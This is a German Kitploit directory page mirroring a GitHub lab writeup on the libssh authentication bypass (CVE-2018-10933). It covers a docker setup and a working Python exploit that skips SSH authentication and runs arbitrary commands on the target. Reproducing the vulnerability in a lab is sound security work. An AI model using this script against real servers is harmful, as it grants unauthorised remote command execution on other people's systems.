Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Libssh-server-CVE-2018-10933 | Kitploit
Tools/GitHubGitHub/cyberharsh/libssh-server-cve-2018-10933
SchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsAuthentifizierungBinary-Exploitation
GitHubcyberharsh/libssh-server-cve-2018-10933

Libssh-server-CVE-2018-10933

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
vor 6 JahrenNoch nicht geprüft

libssh Authentifizierungs-Bypass-Schwachstelle(CVE-2018-10933)

Chinesische Version

libssh ist eine plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll auf Client- und Serverseite implementiert. In der serverseitigen Zustandsmaschine von libssh wurde eine Logikschwachstelle gefunden. Der Angreifer kann die Nachricht MSG_USERAUTH_SUCCESS senden, bevor die Authentifizierung erfolgreich ist. Dadurch kann die Authentifizierung umgangen und auf den Ziel-SSH-Server zugegriffen werden.

Referenzen:

  • https://www.libssh.org/security/advisories/CVE-2018-10933.txt
  • https://www.seebug.org/vuldb/ssvid-97614

Einrichtung

Starte die Umgebung:

root@kitploit:~
docker-compose up -d

Nachdem die Umgebung gestartet wurde, können wir uns mit your-ip:2222 verbinden (Account-Passwort: myuser:mypassword), was ein legitimer SSH-Login ist:

Exploit

Unter Bezugnahme auf den unter https://www.seebug.org/vuldb/ssvid-97614 angegebenen POC können wir das folgende Skript verwenden, um die Schwachstelle nachzuweisen.

root@kitploit:~
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

Sie können beliebige Befehle auf dem Zielserver ausführen, wie folgt:

Tool herunterladen